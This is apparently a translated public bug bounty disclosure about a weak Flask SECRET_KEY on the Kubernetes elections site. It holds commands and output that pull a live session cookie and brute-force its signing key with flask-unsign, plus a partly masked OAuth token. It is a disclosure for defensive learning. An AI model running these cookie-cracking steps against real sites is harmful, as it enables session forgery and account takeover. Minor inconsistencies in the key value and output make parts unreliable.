漏洞报告 #1387366 - elections.k8s.io使用弱会话密钥可能危及选举安全
时间线
- 2021年11月1日 07:23 UTC - 安全研究员ian向Kubernetes提交漏洞报告
- 2021年11月1日 07:24 UTC - 邀请nagli作为协作者加入
- 2021年11月4日 09:32 UTC - 状态变更为"已分类"
- 2021年11月9日 04:58 UTC - 向两位研究员各奖励125美元奖金
- 2025年8月20日 20:51 UTC - 报告状态变更为"已解决"
- 2025年9月19日 20:54 UTC - 报告被公开披露
漏洞摘要
安全研究员ian使用自研工具CookieMonster检测到elections.k8s.io存在会话配置错误。该网站使用Flask框架,但其SECRET_KEY设置为弱值"N/A",用于签名认证cookie。
技术细节
漏洞代码段
1
2
3
4
5
|
# Encryption Key
#
# This is used by the Flask server and should be set to a random character
# string, please do not deploy before doing this!.
SECRET_KEY = env('APP_KEY', 'test')
|
验证过程
使用Flask-Unsign工具验证漏洞:
1
2
3
4
5
6
7
8
9
|
% curl https://elections.k8s.io -Is | grep cookie
set-cookie: session=eyJfcGVybWFuZW50Ijp0cnVlfQ.YX-V3g.NET76NNJbweb_qagyfYl2_7TDJg; Expires=Thu, 02 Dec 2021 07:23:10 GMT; HttpOnly; Path=/
% flask-unsign -u -c "eyJfcGVybWFuZW50Ijp0cnVlfQ.YX-V3g.NET76NNJbweb_qagyfYl2_7TDJg"
[*] Session decodes to: {'_permanent': True}
[*] No wordlist selected, falling back to default wordlist..
[*] Starting brute-forcer with 8 threads..
[+] Found secret key after 8192 attemptspdcQHNyXaB0O
'N/A'
|
影响分析
弱密钥可能导致任意会话操纵。虽然Elekto系统在会话中注入的是GitHub OAuth令牌而非用户ID,降低了直接危害,但仍可能被用于跨站请求伪造等攻击。
会话cookie示例:
1
|
{'_permanent': True, 'authentication': 'gho_lhhuQuI2mXXCnTPT2N8...', 'csrf_token': '500ef973780f085ccd6090efa41a6...', 'state': 'd4U9sRlU9jMXgR....'}
|
处理结果
- 严重程度:高(7.5分)
- 漏洞类型:加密问题 - 通用
- 奖金:250美元
- 状态:已解决
- 披露日期:2025年9月19日
官方回应
Kubernetes团队确认该漏洞有效,但由于属于"社区管理工具"范畴,按程序规定不在漏洞赏金范围内。不过仍给予奖金奖励高质量报告,并表示将修复该问题。
弱点分类:加密问题 - 通用
CVE ID:无
赏金金额:250美元